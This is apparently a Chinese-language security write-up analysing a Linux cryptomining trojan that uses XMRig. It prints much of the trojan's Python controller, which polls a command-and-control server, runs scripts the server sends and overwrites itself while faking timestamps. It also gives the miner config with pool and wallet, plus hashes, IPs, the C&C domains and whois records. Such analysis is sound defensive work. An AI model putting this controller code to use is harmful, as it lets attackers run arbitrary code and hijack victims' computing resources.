木馬簡介
背景
碰到一個挖礦木馬，谷歌搜索沒有找到相關的資料，暫時命名為無名礦馬，挖礦程序是開源的XMRig（編譯好后名字為update）。整個控制端依靠一個隨機名python文件。
rc.local中有/etc/update
樣本相關文件
一個隨機名字的python文件和一個隨機名字的python命令文件，用來執行自己的Python腳本程序。這個腳本會和C&C Server通信，來傳輸指令獲取script，運行，開始挖礦。
Python腳本主要惡意功能
代碼片段一：
if __name__ == "__main__":
daemonize() #標准守護進程代碼，不贅述
if not global_lock(VAR_LOCK): #腳本單例運行文件排他鎖，也沒有啥可寫的
sys.exit(3)
d = Schedule() # 關鍵點，一個Schedule線程
d.start()
d.join()
代碼片段二：
class Schedule(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.inited = False
self.time_alive = datetime.datetime.now()
self.time_update = datetime.datetime.now()
self.time_task = datetime.datetime.now()
self.s = None
self.sock_ref = 0
self.list_records = []
self.lock_records = thread.allocate_lock()
self.select_host = ""
self.select_port = ""
def init(self):
self.time_alive = datetime.datetime.now() + datetime.timedelta(minutes=1)
# self.time_alive = datetime.datetime.now() + datetime.timedelta(seconds=3)
self.time_task = datetime.datetime.now() + datetime.timedelta(minutes=1)
self.time_update = datetime.datetime.now() + datetime.timedelta(minutes=10)
self.inited = True
pass
def task_result(self, idx, result):
data = {'msg': 'task', 'id': idx, 'result': base64.b64encode(result)}
ops_send(self.s, data)
self.socket_close() # release sock
def task_exec(self, task_id, script, sync, timeout=None):
filename = gen_file_name()
f = open(filename, 'w')
f.write(script)
f.write("\n")
f.close()
t = TaskExec(filename, sync, timeout, task_id)
if sync:
self.socket_connect()
t.set_cb(self.task_result)
t.run()
time.sleep(0.5)
try:
os.unlink(filename)
except:
pass
def socket_connect(self):
if not self.s:
self.s = sch_check_host()
if not self.s:
return None
self.sock_ref += 1
return self.s
def socket_close(self):
self.sock_ref -= 1
if self.sock_ref == 0:
self.s.close()
self.s = None
def alive(self):
sock = self.socket_connect()
if not sock:
return
data = {'msg': 'alive'}
result = ops_send(sock, data)
if not result:
self.socket_close()
return
result, response = ops_recv(sock)
if not result:
self.socket_close()
return
self.socket_close()
print response
if type(response) is not dict:
return
if 'delay' in response.keys():
self.time_alive = datetime.datetime.now() + datetime.timedelta(seconds=response['delay'])
pass
def update(self):
sock = self.socket_connect()
if not sock:
return
data = {'msg': 'update'}
result = ops_send(sock, data)
if not result:
self.socket_close()
return
result, response = ops_recv(sock)
if not result:
self.socket_close()
return
self.socket_close()
print response
if type(response) is not dict:
return
if 'delay' in response.keys():
self.time_update = datetime.datetime.now() + datetime.timedelta(seconds=response['delay'])
if 'script' not in response.keys():
return
self_upgrade(response['script'])
def task(self):
sock = self.socket_connect()
if not sock:
return
data = {'msg': 'task'}
result = ops_send(sock, data)
if not result:
self.socket_close()
return
result, response = ops_recv(sock)
if not result:
self.socket_close()
return
self.socket_close()
print response
if type(response) is not dict:
return
if 'script' in response.keys():
self.task_exec(response['id'], base64.b64decode(response['script']), response['sync'], response['timeout'])
self.time_task = datetime.datetime.now() + datetime.timedelta(seconds=response['delay'])
def run(self):
while True:
if not self.inited:
self.init()
cur_time = datetime.datetime.now()
if cur_time > self.time_alive:
try:
self.time_alive = datetime.datetime.now() + datetime.timedelta(seconds=60)
self.alive()
except Exception, e:
pass
if cur_time > self.time_update:
try:
self.time_update = datetime.datetime.now() + datetime.timedelta(seconds=60)
self.update()
except Exception, e:
pass
if cur_time > self.time_task:
try:
self.time_task = datetime.datetime.now() + datetime.timedelta(seconds=60)
self.task()
except Exception, e:
pass
# self.task_result()
time.sleep(1)
可以看到一共執行三個有效通信函數：alive(),update(),task()，其中還涉及幾個函數ops_send和ops_recv兩個函數，都是socket通信，另外self_upgrade實現在我升級。self.task_exec()會下載礦馬和配置文件運行開始挖礦。
def self_upgrade(script):
self_file = os.path.abspath(__file__)
ftime = (os.path.getctime(self_file), os.path.getmtime(self_file))
f = open(self_file, 'w')
f.write(script)
f.close()
os.utime(self_file, ftime)
subprocess.Popen("sh -c \"chmod +x %s;kill -9 %d;%s\"" % (self_file, os.getpid(), self_file), shell=True)
生成文件
通過代碼可以看到，會在/tmp下生成sess_后面跟隨機字符竄的文件，用來存儲C&C Server發來的Payload，但是也會看到很多這類文件大小為0，應該是C&C，不會每次都傳過來吧。
VAR_LOC = "/tmp"
VAR_PFX = "sess_"
VAR_LOCK = '/tmp/.%s.lock' % VAR_SIGN
...
def gen_file_name(path=VAR_LOC, prefix=VAR_PFX, length=26):
list_content = []
name = ""
charsets = [(97, 26), (48, 10)]
for (start, count) in charsets:
for i in range(0, count):
list_content.append(chr(start + i))
for i in range(0, length):
name += str(list_content[random.randint(0, len(list_content) - 1)])
index = random.randint(0, length - len(VAR_SIGN))
# name[index:index+4] = "oops"
name = name[:index] + VAR_SIGN + name[index + len(VAR_SIGN):]
return os.path.join(path, prefix + name)
網絡通信行為
根據腳本運行抓包來看
與代碼中的網絡通信行為保持一致。
從代碼和網絡通信行為的結果來看可以看出獲得IOC：
挖礦的配置都在config.json中
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": false, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 80, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 30, // print hashrate report every N seconds
"retries": 500, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "pool.minexmr.com:443", // URL of mining server
"user": "44HEguZchqb3NEPePEuJicYWMwhQTFhGPDx6HroGHy5j8ycaWb6DL8YY2djPySmfzQLwAYfg7y12F3AqLeUhSB4VCpXnWvm.3673782466", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false, // enable nicehash/xmrig-proxy support
"variant": -1 // algorithm PoW variant
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}
IOC
文件名
py文件，可以根據域名檢索，因為其名字會變，文件第一行的 #!/sbin/regdbdump 是隨機路徑和名字 所以hash值不統一；
引導Python腳本的文件，隨機名稱，hash值見下；
config.json hash值見下
/tmp/.ops.lock
文件hash值
update
MD5: D8D311F7822DDAB5888A59313224E0A4
SHA1: 27752629A75588C029F1AF191AB40DC0ECAF9C64
隨機文件名的python運行命令文件
MD5: 6078CE87E5E2A7448AC192E2AB1CA2DF
SHA1: 00E7805857F2C7A944B86CDF29C33D7022CDC7B8
config.json
MD5: 107E4289A3AA1E3F499E8629D2FB4612
SHA1: CB67E8E8C1A7660FF77F83E9B54679AEBC7C710B
IP地址
167.88.176.177
103.224.81.48
103.19.3.166
118.193.149.7
Domain域名
kernelpatch.info
rhelupdate.info
whois信息
kernelpatch.info
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object
refer: whois.afilias.net
domain: INFO
organisation: Afilias Limited
address: Office 107
address: 3013 Lake Drive
address: CityWest
address: Dublin 24
address: Ireland
contact: administrative
name: Ram Mohan
organisation: Afilias Limited
address: C/O Afilias USA, Inc.
address: 300 Welsh Road, Building 3
address: Suite 105
address: Horsham Pennsylvania 19044
address: United States
phone: +1 215 706 5700
fax-no: +1 215 706 5701
e-mail: domainadmin@afilias.info
contact: technical
name: Howard Eland
organisation: Afilias Limited
address: C/O Afilias USA, Inc.
address: 300 Welsh Road, Building 3
address: Suite 105
address: Horsham Pennsylvania 19044
address: United States
phone: +1 215 706 5700
fax-no: +1 215 706 5701
e-mail: domaintech@afilias.info
nserver: A0.INFO.AFILIAS-NST.INFO 199.254.31.1 2001:500:19:0:0:0:0:1
nserver: A2.INFO.AFILIAS-NST.INFO 199.249.113.1 2001:500:41:0:0:0:0:1
nserver: B0.INFO.AFILIAS-NST.ORG 199.254.48.1 2001:500:1a:0:0:0:0:1
nserver: B2.INFO.AFILIAS-NST.ORG 199.249.121.1 2001:500:49:0:0:0:0:1
nserver: C0.INFO.AFILIAS-NST.INFO 199.254.49.1 2001:500:1b:0:0:0:0:1
nserver: D0.INFO.AFILIAS-NST.ORG 199.254.50.1 2001:500:1c:0:0:0:0:1
ds-rdata: 8674 7 1 197789a2cbaba6fecd0b5ac88c5bc414ce1fc309
ds-rdata: 8674 7 2 ec9b6082b96b5f87143696f2b483acc9b2c433dce0c94e70f1ff5648ca18008b
whois: whois.afilias.net
status: ACTIVE
remarks: Registration information: http://www.nic.info
created: 2001-06-26
changed: 2015-09-09
source: IANA
Domain Name: KERNELPATCH.INFO
Registry Domain ID: D503300000103900891-LRMS
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-05-31T02:26:13Z
Creation Date: 2018-05-31T02:26:13Z
Registry Expiry Date: 2019-05-31T02:26:13Z
Registrar Registration Expiration Date:
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Registrant Organization: Domains By Proxy, LLC
Registrant State/Province: Arizona
Registrant Country: US
Name Server: NS01.DOMAINCONTROL.COM
Name Server: NS02.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2018-07-03T11:51:08Z <<<
Domain Name: kernelpatch.info
Registry Domain ID: D503300000103900891-LRMS
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-05-31T02:26:13Z
Creation Date: 2018-05-31T02:26:13Z
Registrar Registration Expiration Date: 2019-05-31T02:26:13Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: CR325615890
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14455 N. Hayden Road
Registrant City: Scottsdale
Registrant State/Province: Arizona
Registrant Postal Code: 85260
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: kernelpatch.info@domainsbyproxy.com
Registry Admin ID: CR325615893
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 14455 N. Hayden Road
Admin City: Scottsdale
Admin State/Province: Arizona
Admin Postal Code: 85260
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: kernelpatch.info@domainsbyproxy.com
Registry Tech ID: CR325615892
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 14455 N. Hayden Road
Tech City: Scottsdale
Tech State/Province: Arizona
Tech Postal Code: 85260
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: kernelpatch.info@domainsbyproxy.com
Name Server: NS01.DOMAINCONTROL.COM
Name Server: NS02.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2018-07-03T11:00:00Z <<<
rhelupdate.info
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object
refer: whois.afilias.net
domain: INFO
organisation: Afilias Limited
address: Office 107
address: 3013 Lake Drive
address: CityWest
address: Dublin 24
address: Ireland
contact: administrative
name: Ram Mohan
organisation: Afilias Limited
address: C/O Afilias USA, Inc.
address: 300 Welsh Road, Building 3
address: Suite 105
address: Horsham Pennsylvania 19044
address: United States
phone: +1 215 706 5700
fax-no: +1 215 706 5701
e-mail: domainadmin@afilias.info
contact: technical
name: Howard Eland
organisation: Afilias Limited
address: C/O Afilias USA, Inc.
address: 300 Welsh Road, Building 3
address: Suite 105
address: Horsham Pennsylvania 19044
address: United States
phone: +1 215 706 5700
fax-no: +1 215 706 5701
e-mail: domaintech@afilias.info
nserver: A0.INFO.AFILIAS-NST.INFO 199.254.31.1 2001:500:19:0:0:0:0:1
nserver: A2.INFO.AFILIAS-NST.INFO 199.249.113.1 2001:500:41:0:0:0:0:1
nserver: B0.INFO.AFILIAS-NST.ORG 199.254.48.1 2001:500:1a:0:0:0:0:1
nserver: B2.INFO.AFILIAS-NST.ORG 199.249.121.1 2001:500:49:0:0:0:0:1
nserver: C0.INFO.AFILIAS-NST.INFO 199.254.49.1 2001:500:1b:0:0:0:0:1
nserver: D0.INFO.AFILIAS-NST.ORG 199.254.50.1 2001:500:1c:0:0:0:0:1
ds-rdata: 8674 7 1 197789a2cbaba6fecd0b5ac88c5bc414ce1fc309
ds-rdata: 8674 7 2 ec9b6082b96b5f87143696f2b483acc9b2c433dce0c94e70f1ff5648ca18008b
whois: whois.afilias.net
status: ACTIVE
remarks: Registration information: http://www.nic.info
created: 2001-06-26
changed: 2015-09-09
source: IANA
Domain Name: RHELUPDATE.INFO
Registry Domain ID: D503300000103900892-LRMS
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-05-31T02:26:14Z
Creation Date: 2018-05-31T02:26:13Z
Registry Expiry Date: 2019-05-31T02:26:13Z
Registrar Registration Expiration Date:
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Reseller:
Domain Status: clientDeleteProhibited https://icann.org/epp#clientDeleteProhibited
Domain Status: clientRenewProhibited https://icann.org/epp#clientRenewProhibited
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Domain Status: serverTransferProhibited https://icann.org/epp#serverTransferProhibited
Registrant Organization: Domains By Proxy, LLC
Registrant State/Province: Arizona
Registrant Country: US
Name Server: NS01.DOMAINCONTROL.COM
Name Server: NS02.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of WHOIS database: 2018-07-03T11:53:34Z <<<
Domain Name: rhelupdate.info
Registry Domain ID: D503300000103900892-LRMS
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-05-31T02:26:14Z
Creation Date: 2018-05-31T02:26:13Z
Registrar Registration Expiration Date: 2019-05-31T02:26:13Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Email: abuse@godaddy.com
Registrar Abuse Contact Phone: +1.4806242505
Domain Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
Domain Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
Registry Registrant ID: CR325615889
Registrant Name: Registration Private
Registrant Organization: Domains By Proxy, LLC
Registrant Street: DomainsByProxy.com
Registrant Street: 14455 N. Hayden Road
Registrant City: Scottsdale
Registrant State/Province: Arizona
Registrant Postal Code: 85260
Registrant Country: US
Registrant Phone: +1.4806242599
Registrant Phone Ext:
Registrant Fax: +1.4806242598
Registrant Fax Ext:
Registrant Email: rhelupdate.info@domainsbyproxy.com
Registry Admin ID: CR325615894
Admin Name: Registration Private
Admin Organization: Domains By Proxy, LLC
Admin Street: DomainsByProxy.com
Admin Street: 14455 N. Hayden Road
Admin City: Scottsdale
Admin State/Province: Arizona
Admin Postal Code: 85260
Admin Country: US
Admin Phone: +1.4806242599
Admin Phone Ext:
Admin Fax: +1.4806242598
Admin Fax Ext:
Admin Email: rhelupdate.info@domainsbyproxy.com
Registry Tech ID: CR325615891
Tech Name: Registration Private
Tech Organization: Domains By Proxy, LLC
Tech Street: DomainsByProxy.com
Tech Street: 14455 N. Hayden Road
Tech City: Scottsdale
Tech State/Province: Arizona
Tech Postal Code: 85260
Tech Country: US
Tech Phone: +1.4806242599
Tech Phone Ext:
Tech Fax: +1.4806242598
Tech Fax Ext:
Tech Email: rhelupdate.info@domainsbyproxy.com
Name Server: NS01.DOMAINCONTROL.COM
Name Server: NS02.DOMAINCONTROL.COM
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2018-07-03T11:00:00Z <<<